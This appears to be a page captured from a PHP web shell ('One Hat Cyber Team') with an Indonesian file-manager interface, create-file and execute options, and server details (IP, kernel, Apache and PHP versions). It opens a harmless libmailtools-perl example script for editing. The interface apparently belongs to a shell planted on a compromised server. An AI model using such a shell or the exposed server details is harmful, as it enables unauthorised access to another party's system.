One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
libmailtools-perl
/
examples
/
Edit File:
forwd_demo.PL
# This -*- perl -*- script makes the forwd_demo script # $Id: forwd_demo.PL,v 1.2 1997/01/16 20:43:34 gbarr Exp $ use Config; use Cwd; $script = "./forwd_demo"; unlink($script); open MIR, ">$script" or die "open for writing $script: $!"; print MIR $Config{'startperl'}," -w\n"; $cwd = Cwd::getcwd(); #print MIR "use lib qw($cwd/blib);\n"; print MIR <DATA>; chmod(0755, $script); __DATA__ use Mail::Internet; @mail = <>; $mail = Mail::Internet->new(\@mail); $mail->remove_sig; $mail->tidy_body; @reply = (); if(open(HDR,"$ENV{HOME}/.mailhdr")) { @reply = <HDR>; close(HDR); } $rply = Mail::Internet->new(\@reply); $subject = $mail->get('Subject'); $rply->replace('To', ""); $rply->replace('Cc', ""); $rply->replace('Subject',$subject); $rply->body($body = $mail->body); unshift @{$body},"---------- Begin Included Message ----------\n"; push @{$body},"----------- End Included Message -----------\n"; $file = "/tmp/reply.$$"; open(FILE,">$file") || die "Cannot open $file:$!\n"; $rply->print(\*FILE); close(FILE); $editor = $ENV{"EDITOR"} || "/usr/bin/nvi"; warn "$editor :$!\n" if (system("$editor $file")); unlink($file,$file . '%'); exit 0;
Simpan